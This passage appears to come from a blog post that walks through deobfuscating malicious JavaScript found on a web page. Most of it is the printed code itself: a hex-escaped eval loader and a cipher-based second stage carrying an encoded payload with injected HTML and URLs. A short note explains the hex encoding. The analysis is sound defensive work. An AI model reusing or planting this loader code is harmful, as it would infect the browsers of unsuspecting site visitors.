5\x32\x39\x2e\x6f\x6a\x62\x62\x55\x2e\x4b\x5a\x51\x6c\x4d\x56\x70\x38\x25\x32\x37\x59\x63\x66\x62\x67\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x4c\x71\x51\x55\x6f\x2e\x65\x64\x56\x55\x68\x61\x35\x43\x62\x50\x6d\x56\x25\x32\x38\x46\x50\x44\x5f\x54\x71\x61\x45\x56\x47\x4a\x53\x6e\x59\x53\x6a\x25\x32\x38\x5a\x5a\x64\x5f\x4e\x6b\x51\x70\x65\x5a\x62\x69\x5f\x6c\x71\x68\x25\x32\x39\x25\x32\x43\x25\x32\x30\x4c\x71\x51\x55\x6f\x2e\x62\x59\x55\x69\x6a\x77\x59\x47\x68\x45\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x61\x6c\x6a\x5a\x6b\x5a\x6e\x6a\x25\x32\x30\x30\x37\x31\x5f\x66\x64\x25\x32\x46\x68\x48\x51\x6a\x4c\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x44\x25\x32\x30\x25\x32\x38\x66\x54\x68\x5f\x63\x6b\x58\x55\x56\x63\x25\x32\x39\x25\x32\x30\x6e\x49\x56\x57\x69\x64\x25\x33\x42\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x72\x51\x55\x25\x32\x30\x63\x6f\x76\x66\x42\x75\x25\x32\x30\x6e\x25\x32\x30\x59\x66\x59\x72\x64\x56\x6d\x70\x2e\x46\x51\x46\x70\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x62\x25\x32\x30\x25\x32\x38\x63\x62\x34\x65\x4b\x70\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x48\x6f\x4e\x5f\x67\x66\x57\x61\x56\x55\x25\x32\x30\x25\x32\x46\x25\x32\x30\x70\x56\x57\x47\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x41\x49\x49\x5f\x65\x51\x25\x32\x46\x64\x50\x6b\x25\x32\x38\x4b\x75\x70\x6a\x55\x75\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x62\x63\x6a\x64\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x6f\x49\x56\x38\x5a\x63\x61\x65\x58\x6a\x25\x32\x38\x25\x32\x32\x25\x33\x44\x25\x33\x44\x44\x5f\x4d\x6a\x71\x6d\x56\x57\x71\x56\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x73\x7a\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4a\x57\x50\x54\x6a\x65\x65\x51\x25\x32\x30\x4d\x59\x55\x55\x4d\x73\x32\x69\x63\x6b\x58\x55\x25\x32\x38\x57\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x75\x57\x56\x25\x32\x30\x52\x54\x56\x6c\x25\x32\x30\x38\x25\x32\x30\x6d\x4c\x64\x54\x56\x6e\x2e\x4d\x6a\x4d\x6a\x52\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x74\x5a\x65\x63\x6b\x61\x2e\x51\x50\x63\x65\x57\x54\x25\x32\x30\x70\x25\x32\x30\x56\x6b\x55\x54\x52\x65\x50\x69\x25\x32\x38\x25\x32\x39\x25\x32\x30\x25\x37\x42\x25\x32\x30\x5a\x62\x25\x32\x30\x25\x32\x38\x6d\x69\x56\x75\x25\x32\x39\x25\x32\x30\x6c\x56\x47\x58\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x57\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4d\x65\x64\x47\x65\x6d\x38\x65\x4a\x6b\x42\x59\x25\x32\x38\x41\x4f\x4a\x5f\x66\x65\x42\x6e\x49\x43\x56\x56\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x69\x61\x6a\x39\x59\x63\x4c\x66\x53\x70\x25\x32\x38\x25\x32\x32\x78\x4e\x44\x5f\x6b\x6b\x36\x69\x64\x57\x58\x47\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x6a\x72\x71\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x31\x25\x32\x41\x25\x30\x44\x25\x30\x41\x50\x69\x57\x25\x32\x30\x74\x25\x32\x30\x55\x5f\x46\x61\x59\x25\x32\x38\x25\x32\x30\x59\x5f\x53\x32\x31\x25\x32\x38\x25\x32\x30\x25\x33\x46\x25\x33\x46\x25\x32\x30\x25\x32\x39\x25\x32\x30\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x45\x4b\x4c\x79\x33\x38\x45\x73\x44\x66\x47\x66\x43\x4d\x42\x75\x25\x32\x42\x66\x38\x78\x45\x50\x5a\x71\x44\x69\x39\x67\x31\x38\x51\x63\x4a\x70\x32\x6f\x43\x78\x51\x49\x4a\x4b\x50\x75\x4a\x51\x54\x71\x4c\x66\x72\x65\x31\x71\x50\x69\x44\x50\x43\x73\x37\x4b\x39\x7a\x31\x65\x38\x7a\x4a\x71\x25\x33\x44\x76\x4a\x4e\x35\x65\x25\x30\x44\x25\x30\x41\x45\x4a\x45\x6d\x33\x70\x47\x6b\x44\x48\x55\x59\x49\x61\x45\x7a\x44\x4b\x59\x66\x34\x4c\x49\x74\x50\x66\x25\x32\x46\x5a\x44\x5a\x25\x32\x42\x74\x25\x32\x42\x66\x77\x72\x45\x66\x46\x74\x50\x79\x56\x51\x32\x4c\x54\x6f\x49\x36\x42\x70\x44\x67\x25\x33\x44\x61\x4b\x37\x55\x62\x4a\x67\x4c\x75\x4c\x76\x43\x62\x32\x61\x61\x79\x43\x4d\x4f\x72\x25\x30\x44\x25\x30\x41\x37\x71\x74\x79\x41\x4f\x50\x78\x4b\x71\x48\x31\x4b\x25\x32\x42\x41\x62\x45\x63\x55\x74\x32\x70\x25\x33\x44\x53\x45\x48\x49\x64\x55\x61\x56\x68\x44\x64\x54\x73\x44\x73\x71\x59\x44\x50\x43\x66\x43\x4a\x46\x70\x79\x66\x38\x78\x51\x50\x56\x72\x45\x6c\x55\x63\x31\x73\x54\x6e\x4a\x70\x25\x32\x42\x73\x44\x41\x25\x33\x44\x55\x4a\x4e\x50\x74\x25\x30\x44\x25\x30\x41\x49\x51\x50\x72\x4d\x66\x76\x61\x31\x37\x53\x76\x44\x4d\x37\x73\x36\x61\x39\x78\x31\x68\x48\x79\x57\x61\x54\x79\x49\x4e\x70\x65\x45\x4a\x59\x70\x33\x70\x47\x6a\x44\x34\x56\x4c\x49\x64\x55\x30\x44\x71\x48\x73\x34\x4c\x74\x74\x4f\x79\x4b\x69\x44\x63\x25\x32\x42\x70\x78\x25\x33\x44\x25\x33\x44\x76\x45\x69\x56\x70\x44\x43\x55\x63\x25\x30\x44\x25\x30\x41\x32\x4c\x4c\x73\x56\x36\x79\x6d\x44\x51\x4c\x57\x49\x72\x54\x72\x4a\x6a\x50\x70\x4c\x25\x33\x44\x44\x4d\x32\x61\x37\x79\x4f\x63\x25\x33\x44\x5a\x36\x61\x6c\x79\x30\x4f\x50\x79\x4b\x61\x62\x31\x56\x25\x32\x42\x41\x5a\x45\x63\x49\x6f\x32\x36\x4f\x65\x44\x48\x25\x32\x42\x4e\x54\x4b\x56\x69\x45\x61\x6a\x79\x33\x62\x41\x6f\x43\x66\x33\x66\x25\x30\x44\x25\x30\x41\x43\x70\x47\x64\x79\x66\x4c\x79\x44\x76\x56\x6f\x44\x69\x39\x67\x31\x38\x50\x6f\x4a\x70\x32\x73\x50\x51\x51\x48\x4a\x61\x50\x75\x4a\x41\x50\x6f\x4c\x66\x73\x4e\x33\x4b\x25\x32\x46\x73\x44\x63\x37\x74\x37\x4b\x39\x78\x30\x65\x34\x7a\x4b\x37\x54\x30\x4a\x4e\x35\x65\x51\x5a\x45\x6d\x43\x4a\x61\x66\x44\x6f\x59\x5a\x25\x30\x44\x25\x30\x41\x49\x61\x51\x7a\x50\x71\x58\x74\x34\x62\x35\x74\x45\x50\x53\x66\x44\x63\x46\x70\x25\x32\x42\x50\x70\x66\x44\x43\x42\x73\x45\x53\x56\x4f\x31\x4c\x34\x73\x49\x4a\x42\x6f\x44\x67\x25\x33\x44\x61\x49\x25\x32\x42\x50\x75\x4a\x6a\x50\x70\x58\x76\x7a\x59\x32\x61\x47\x79\x50\x4d\x25\x32\x46\x6d\x37\x71\x78\x79\x31\x4f\x54\x78\x4a\x61\x34\x31\x25\x30\x44\x25\x30\x41\x49\x25\x32\x42\x42\x4d\x45\x5a\x67\x73\x33\x70\x50\x54\x44\x48\x39\x63\x48\x37\x59\x77\x45\x71\x6a\x79\x33\x62\x41\x76\x44\x69\x43\x66\x50\x5a\x33\x63\x78\x43\x34\x72\x50\x50\x56\x70\x45\x79\x67\x63\x31\x73\x4c\x6d\x4a\x70\x32\x74\x45\x41\x50\x58\x4a\x4b\x62\x74\x55\x77\x51\x64\x4c\x66\x72\x61\x42\x37\x25\x32\x46\x73\x25\x30\x44\x25\x30\x41\x43\x63\x37\x70\x36\x4b\x75\x69\x30\x75\x38\x76\x4a\x4b\x41\x6c\x49\x64\x74\x62\x44\x47\x38\x32\x25\x30\x44\x25\x30\x41\x25\x32\x41\x6f\x25\x30\x44\x25\x30\x41\x27\x29\x29\x3b'</span>; <span style="color: #0000ff">return</span> moqbqYo; } <span style="color: #0000ff">var</span> ifOXCIjSUMc = eval; ifOXCIjSUMc(aAwJinPSCPg());</pre>  </div></div></p>
<p><p>The \x45 are hex codes.&#160; Essencially what is going on here is the developer is using hex code to represent text.&#160; Not exactly super obfuscated, but interested.&#160; If you scroll all the way to the end you will see an ‘eval’ command – which reinforces the notion that eval is evil in javascript.&#160; Anyway, still using the console tab in Chrome, all of this can be evaluated.&#160; In this case, I have to evaluate it twice, because the outputted code is still obfuscated:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> clReNWvDNSS = <span style="color: #006080">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='</span>; <span style="color: #0000ff">var</span> FzCfZkfvHvl = <span style="color: #006080">'f=(&lt;8=&gt;yy@=+))87=x*77.y'</span>;  <span style="color: #0000ff">function</span> blMfGaVxxxv(s) { <span style="color: #0000ff">var</span> vNbrQcGifBJ = <span style="color: #006080">''</span>; <span style="color: #0000ff">var</span> NcipcTbOcs = -1; <span style="color: #0000ff">var</span> c = 0; <span style="color: #0000ff">var</span> kDYCcFlZEm = 0; <span style="color: #0000ff">var</span> JRtzFtY = unescape(s);  <span style="color: #0000ff">for</span> (<span style="color: #0000ff">var</span> i=0;i&lt;JRtzFtY.length;i++) { NcipcTbOcs = clReNWvDNSS.indexOf(JRtzFtY.charAt(i)); <span style="color: #0000ff">if</span> (NcipcTbOcs &gt;= 0) { kDYCcFlZEm = (NcipcTbOcs - FzCfZkfvHvl.charCodeAt(c)) % clReNWvDNSS.length; <span style="color: #0000ff">if</span> (kDYCcFlZEm &lt; 0) { kDYCcFlZEm += clReNWvDNSS.length; }  vNbrQcGifBJ += clReNWvDNSS.charAt(kDYCcFlZEm);  c++; <span style="color: #0000ff">if</span> (c &gt;= FzCfZkfvHvl.length) { c = 0; } } <span style="color: #0000ff">else</span> { vNbrQcGifBJ += JRtzFtY.charAt(i); } }  <span style="color: #0000ff">return</span> vNbrQcGifBJ; } eval(blMfGaVxxxv(<span style="color: #006080">'TWS%20eji_oVgnnX_QP%09%093%20jnkH%3B%0D%0AlQY%20aQi_SZgkok_RbYIUU%093%20%27XpjS%3A11J.jRWUXfqkkVq.YSOnyt5xksvsrjZb1TW1uU%2Bxp%27%3B%0D%0AXCi%20Zoc_UUfViR_fBqRkk%093%20%27YspT%3AnnT.ipQWSebeRaS.Xfi8yu83mel2q7vlSRH0g0mw2%27%3B%0D%0ArXi%20ari_VGRfhp_ZDlQVWD%098%20%27Iokl%3A82T.rpEVEfkjjHh.SVdj3fww4ys2z7kFDVuxwj1rs%27%3B%0D%0Am%2Fn%20Knd_nbgfqp_PQCUUZ%092%20%27KjjW%3A2jY.ToRpZflmpIT.Efc7xhrvprd7b6V2Yrx54Jnd2%27%3B%0D%0AlWh%20Mic_YVNkSo_ckXUWZeP%09o%20%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgsv4rm1qsweWcXVz62s%2B%27%3B%0D%0A%0D%0ArET%20Ljc_hQE_ed%09%09%09t%20kPqF%3B%0D%0AqRn%20gjd_kWF_CETUoi%09%09p%20%27Xjag%3Aj7GgpbfjYdnW.EJ2ml-QGcYU2ALBiVhU2ZmZIZ.RYf%3FWSWYeU3QpBoj_WZTVro%27%3B%0D%0AZCT%20aii_bDR_ZHm%2FkO%09%097%20%27Ypqg%3A2%2BbPaHZidUUi.SO2Ul-BYdek2TOWRGNO1edGUn.WYN%3FWDoZkk3jsWXU_LRlWeQ%27%3B%0D%0AlQY%20aQi_MVS_fXmRnbJ%09%09o%20%27Jkjl%3A1oVbfWGoIZio.ZY2vl-EFOZd7S5QdLc87JiUau.gYo%3FWGVKfd8iWQjZ_a%2FrBjWb%27%3B%0D%0AsRi%20ioQ_NCS_bkQGUT%09%09t%20%27YRpQ%3A62bipWhoLGTj.Sd1Zf-QKdGjmXGWkVcW7MPFVn.lXS%3FQSaZMjnnkWqj_cnWHGF%27%3B%0D%0AmQn%20ZVc_bHS_JkBYWWfc%093%20%27gpXR%3An2VhoIYiOVPo.Dc2sm-RUleRnEGQjUON1PeBaY.kYl%3FXTkhkRoUkQpi_OeQKW%2FeM%27%3B%0D%0A%0D%0AqRn%20gjd_kkEFGU%09%09%092%20bQOiU%3B%0D%0AcRP%20fTh_RlmcVs_eRFGo%092%20x%3B%0D%0AlDh%20ZZd_%2FlQgVp_Zflmp%09q%20ecr%3B%0D%0AlWh%20Mic_HgNhFo_gnbWZw%098%20%27E%27%3B%0D%0AXCi%20Zoc_DffSVR_qSg%09%093%20%27dqkg%3A%2B7EFXRdYUGgkHcGpZnpoqVd.bkQnvVj79Hj.fOg%3F%2F8m%27%3B%0D%0A%0D%0AqRn%20gjd_okTWPUUn_kUb%092%20%27OkRl%3Am6TailcZnFQO.Tei1Mi1JcGYLkfl.gj%27%3B%0D%0A%0D%0AWtjGVKfd%20FI2_WUa4NlMZkQOC%28%29%0D%0A%7B%0D%0A%092%2BWPGTk%28Zoc_DffSVR_qSg%201%20fpd_RolPGV_ghaVLn%200%20QjK_WQkcaq_Zecab%20m%20%27.LRh%27%29%3B%0D%0A%09nUWkhU%20aQi_Bkghbk_lqh%20o%20LUd_QlfOUj_WiCbJs%201%20fpd_RolPGV_ZdZUa%200%20%27.ZHi%27%3B%0D%0A%7D%0D%0A%0D%0ADqOXkele%20ARI_GTGRja%2FIhQTV%28QnD%29%0D%0A%7B%0D%0A%09qRn%20fWiZiI%20o%20FfSqcHdj.JiCWUZ8hbdVmp%28%27MHTRca%27%29%3B%0D%0A%09YIhQTV.QnD%207%20jnZ%3B%0D%0A%09ZWqWQG.UkohU.YYiPSGhJop%208%20%27eZUcaR%27%3B%0D%0A%09KHiQiU.VjoSV.BeTkcWv%203%20%27ZmhMPG%27%3B%0D%0A%09ZVnQPU.iapJa.NVicfe%203%20%27z%27%3B%0D%0A%09eJTCdU.ojbbU.WRBZJiX%208%20%27x%27%3B%0D%0A%09ZWqWQG.UkohU.EehKVP%208%20%27Ojea%27%3B%0D%0A%09fWiZiI.UVpba.mLTjO%203%20%27Y%27%3B%0D%0A%09eGmRib.jkxhI.JGZWdj%20p%20%27q%27%3B%0D%0A%09hLkSnO%20dWnXdV%3B%0D%0A%7D%0D%0A%0D%0AeqREVZej%20%3D8C_SYV%2FpFNTnfgk%28rnG%29%0D%0A%7B%0D%0A%09XCi%20iYhLfj%20t%20UMYVhVjq.TidWXGtcUiUQj%28%27iJiGlU%27%29%3B%0D%0A%09nTnfgk.suTG%20o%20%27kUtjoZQcRQYSdgp%27%3B%0D%0A%09pTihlX.UTT%202%20ohF%3B%0D%0A%09hUalPj%20TXiemk%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20cUWNC5%2FRpQMVmrVjs%28%29%20%0D%0A%7B%0D%0A%09eJ%20%28YKeTkm.ACB1kRl5Zhqbjk%29%20qaXWTe%20dam%20ZYdKfU.T0G%2FpqgIdmYGUk%3B%0D%0A%09UhiH%0D%0A%09%7B%0D%0A%09%09jhf%0D%0A%09%09%7B%0D%0A%09%09%09iCpVme%20jbn%204bpMXGOEXZHSj%28%226ZAnPnfbq.ODKD%2B84%22%29%3B%0D%0A%09%09%7D%0D%0A%09%09TQpSK%28Un%29%0D%0A%09%09%7B%0D%0A%09%09%09YVRqSi%20eqic%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_bQIIClPmk%28qoc%29%0D%0A%7B%0D%0A%09mZn%20S6Gh%202%20cUWNC5%2FRpQMVmrVjs%28%29%3B%0D%0A%09eJ%20%28Q6Vg%29%0D%0A%09%7B%0D%0A%09%09kHHg.eUiCWEtjpXkVbdEPIV%202%20bkQSjPfL%20%28%29%0D%0A%09%09%7B%0D%0A%09%09%09eG%20%28jIan.iVZZc7VRja%202p%20u%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09YM%20%28f2aR.nkWqlj%20%2F8%20gcc%29%0D%0A%09%09%09%09%7B%0D%0A%09%09%09%09%0921sYQTed.RJaSo%28%27Wnld%20TZhPDCTa%20%27%206%20e7Ug.YVQlPijaQVos%29%3B%0D%0A%09%09%09%09%7D%0D%0A%09%09%09%7D%0D%0A%09%09%7D%3B%0D%0A%09%0D%0A%09%09k8GS.ffad%28%22w7J%22%2C%20biJ%2C%20pSpV%29%3B%0D%0A%09%09kOVh.raRF%28%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHldYjLed%203Jx_hBWIamfisy%28YTN%29%0D%0A%7B%0D%0A%09mQn%20XK4eKp%20k%20ZPXlibek.akHa%3B%0D%0A%09KW%20%28Xd4RTo%29%0D%0A%09%7B%0D%0A%09%09OYmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRawaiWjV%28lqh%29%2C%20LJqfTu.VLhia6FeMY%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWqkTkhkR%20y7D_SnUDjU2dE%28oSX%29%0D%0A%7B%0D%0A%09mWo%20Zdf%208%20HQElcadW.ShLRRasgVibek%28%27hiK%27%29%3B%0D%0A%09KOX.inS%20p%20ihJ%3B%0D%0A%09iCpVme%20ejX%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_ShLRRa6kRj%28ekdk%29%0D%0A%7B%0D%0A%09rET%20UgQj%202%20GeSbdCjU.XiaXkVDhIOGej%28%27ofDd%27%29%3B%0D%0A%09iWRL.eOiVnEKDK%208%20LVOc%3B%0D%0A%09hajXhd%20Zg%2Fj%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_IVj9fSbUa%2FRiM%28%29%0D%0A%7B%0D%0A%09mVprie%20%27%3CZlTNGk%20dWcH2%22%2A3A8y%C7%C3K%2A%20oolWiZqZ%E7%E3k%20HG%207VWqhDd%E7Q%20wcGmVZ%20Vi%20BO8BQ%2Bp6%20%21%21%22%20TeZUp%22Q.SSRQo%22%20BmTdfmV%2F%22%27%206%20071_XUp3SfbLk5Nz%28%29%205%20%27%3Fi8%27%207%20DRsd.JNQfh%28xqdqqh%201%20%28xWUc.iWkUfl%28%29%2A5nll0z%206%20r%29%29%20n%20%27%22%20mYKkF8%22b%22%20cVedYk%2F%22w%22%20%20WVacU8%22lLiYIZJeUt%3A%20YeaUVm%22%3E%09%09%3ClETCd%20dWcH2%22b%22%20cRJqF7%22Ypqg%3A2%2BoQUHRca.SRc10VR7uZk.leg%3FR%2FfVG.GoU%22%3E%3C7fDhQT%3E%3C2%2FlQgVp%3E%27%3B%0D%0A%7D%0D%0A%0D%0AclebpMQP%20AII_WHj3WgJaUCkii_O%28%29%0D%0A%7B%0D%0A%09idpYTP%20%27%3CRflbHj%20dHdC8%22%2AoO8J%C7%C3L%2A%204ktWPKbR%E7%E3e%20ZU%208UWbi%2Fj%E7B%20%2BcenlV%20di%20v%3Dt6KP37%20%21%21%22%20SeKVk%22W.DgRop%22%20RibdMXG3%22%27%200%20fiP_QfWcCp_Vmc%206%20%27gRmZX.NCT%3Fi2%27%206%20CDjX.McMkS%28wrwxrr%209%20%28IEVJ.iQjTRc%28%29%2Azq0h5k%205%20s%29%29%206%20%27%22%20tZUsdq%22c%22%20JVYcXW2%22q%22%20%20ZkWhF7%22mepZShhMVa%3A%20YYZTHd%22%3E%09%09%3CfHi%2Fi%20OVda9%22c%22%20mZhYGo%22Yjpf%3Ao1iTjDWNZ.Tkj2%2BdppvGk.fdf%3FD2ZYV.CtF%22%3E%3C6gWoRd%3E%3C%2BWTRNVj%3E%27%3B%0D%0A%7D%0D%0A%0D%0AbkQSjPfL%20F6H_fjIfRc%28%29%0D%0A%7B%0D%0A%097pTGgenj%20OeQK%20jSYDZjo%0D%0A%09fW%20%28ari_VGRfhp_eQ%29%20%3DI6_TPaBoVEjX%28ari_VGRfhp_bRQTLU%29%3B%0D%0A%09j7Ja%20%28aoj_cRa_kR%29%20y7D_bWR7UfViR%28fTh_cWY_cfZZIF%29%3B%0D%0A%09KW%20%28Zoc_OQR_Ve%29%20uO0_gRXOVgnnXe%28Ljc_hQE_beHUCZ%29%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_QeBkQG%3DQcR8%28%29%0D%0A%7B%0D%0A%09F6H_TnbRkdEQI%28%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgwv2sg1qsSB3iZRya2s%2B%27%29%3B%0D%0A%7D%0D%0A%0D%0AbYPEkYkd%20zIC_VewkBY9Wfc%28%29%0D%0A%7B%0D%0A%092%2BnIRQij%20heDT%20VHZJ%0D%0A%09eG%20%28eji_oVgnnX_QP%29%20AII_SUUQaVtiH%28eji_oVgnnX_NQRTbQLb%29%3B%0D%0A%091sZD%20%28fTh_cWY_fe%29%20IO3_NCSHafRhj%28QjK_hBW_ckXUWZeP%29%3B%0D%0A%09KH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqpg%28LUd_bWR_OeQKW%2FeM%29%3B%0D%0A%09%0D%0A%09dW%20%28fpd_RolPGV_ZdZUa%20%3C%20ZiT_RNlMZk_Ylles%29%0D%0A%09%7B%0D%0A%09%09fWO_CgfhUW_YdKVV6l%3B%0D%0A%09%0D%0A%09%09qRn%20e5fcu%20q%20FQTkiUQj.RVUW%3B%0D%0A%09%09eG%20%28c5kap%29%0D%0A%09%09%7B%0D%0A%09%09%09mZn%20LVOc%202%20FI2_WUa4NlMZkDqdc%28%29%3B%0D%0A%09%09%09g%2BSFa.ZdoUUj4LWMnF%28EJI_ZiVZpI7RRd%28djPb%29%2C%20XvfBu.Gdioq6YhhH%29%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHWeSpYRd%20%3D%3DD_MjwiZp%28e5fcu%29%0D%0A%7B%0D%0A%09%0D%0A%09pnTVfkhW%20QSJVQo%0D%0A%09Ja%20%28aoj_iVokVV_Qe%29%20%3DOC_FhUHkCENb%28aoj_iVokVV_CTSaiV%29%3B%0D%0A%0911PW%20%28HoN_gRX_le%29%20ARI_PCDIUleUj%28ZZd_JWC_VTYbjj%29%3B%0D%0A%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_QYSHii%29%3B%0D%0A%09%0D%0A%09PW%20%28F%2BPYp%29%0D%0A%09%7B%0D%0A%09%09rXi%20YsiP%20o%20%27%27%3B%0D%0A%09%09%0D%0A%09%09KW%20%28dWlLWQafP.fBqRAkRSkaH%28%29%29%0D%0A%09%09%7B%0D%0A%09%09%09nnaQrQ%20Rd%0D%0A%09%09%09%0D%0A%09%09%09XadJ%208%20xND_cbk4olPGV%2Fjib%28%29%20n%20%27%20%27%200%20%3D%3DD_EaU8gliVkGpQN_%3D%28%29%3B%0D%0A%09%09%09%0D%0A%09%09%0921nUSeha%20a%2FrB%20ZeWYcVc%20WGEGji%0D%0A%09%09%09eV%20%28Mic_YVNkSo_fj%29%20GJD_bnICVV%2FiW%28Mic_YVNkSo_aWsRfm%29%3B%0D%0A%09%09%097pKH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqp%28NUO_cQX_ZDlQVe%29%3B%0D%0A%09%09%09Gb%20%28Knd_hXS_fm%29%20F91_NRRNUSehat%28HoN_gRX_gRmZkR%29%3B%0D%0A%09%09%09%0D%0A%09%09%09JqfTu.YQiUYkmaGjia%28GJD_bnICVVIlQQ%28XjTc%29%2C%20F%2BPYp.bfijs%2FLKNU%29%3B%0D%0A%09%09%7D%0D%0A%09%09UhiH%0D%0A%09%09%7B%0D%0A%09%09%0911QRTW%20PaW%0D%0A%09%09%09%0D%0A%09%09%09ec%20%28kpoaSH%20YZdZeZ.YdUVPSJYkd%20%219%20%27lecaJKPVT%27%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%20%20rYHmfViRsJYkd%209%20nZmZSY.Kedah%3DYTaY%3B%0D%0A%09%09%09%20%20TeFrgkokYdeKJV%203%20medGem.PeLaSCVedYk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%20%0D%0A%09%09%09dhWG%20KW%20%28jufHeV%20KfAqNZep.afTtiIPV8bacHdj%20%21t%20%27lLZFaZjbU%27%20%26%26%20kxlIQH%20UeYkPUda.UMYVhVjq8cdiIPV.TbeUQjMPURd%20%21n%20%27peZbWZmaH%27%20%26%26%20FQTkiUQj.TVTSiFikAiVddjX.ENZUjj%3DYTaY%20%21k%20w%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09WdVsmfissMFVY%202%20ZeFkcLeR.ZPXlibekDhIOGej.YbLUdaNGZUc%3B%0D%0A%09%09%09%09mebngnnXJGZWdj%20p%20TeJlKaOo.UkZlddjXtNVcadW.SbPVLpvZZcek%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09VkoI%0D%0A%09%09%09%7B%0D%0A%09%09%09%09XKVmleUjmPURd%20n%20YfYrdVmp.KGV8bacHdjZ5WPBbEWjV%28%27SnZc%27%29%5Bc%5D.EcYadWMYKkF%3B%0D%0A%09%09%09%09rJZnllikgaMIJk%202%20ZeFkcLeR.cFo8hbdVmpWqaKQcDDcU%28%27IfBu%27%29%5Bb%5D.XcebekGaMIJk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%0D%0A%09%09%0917XWcb%20t%20%27a%2FrB%20dj%20JLK%20VmWFNGU...%27%3B%0D%0A%09%09%09XpcO%202%20%27%3CTPm%20GZn%22spv_iZXgp_GQPk%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20UZop-XcZfj%3A%20GGPkUn%3B%20jRf%3A%20q%3B%20SVDp%3A%20b%3B%20rZZqY%3A%20szz%25%3B%20LGKXXp%3A%20rdt%25%3B%20p-PeBaY%3A%204rwz%3B%20SRbgKTQldZ%3A%20dRdU%22%3E%3CKZT%20eE7%22ouw_cZfdX%22%20UVpba2%22GYiWc%2Fu%3A%20Ojea%3B%20jRifeR%3A%20c%20Cljk%3B%20cDhWPe-RkQ%3A%20wuwmo%3B%20nhZXJ%3A%20irqln%3B%20SQTKZLc%3A%20b%3B%09WfnaVi%3A%2002TZ%20UfbeT%20%23frsitZ%3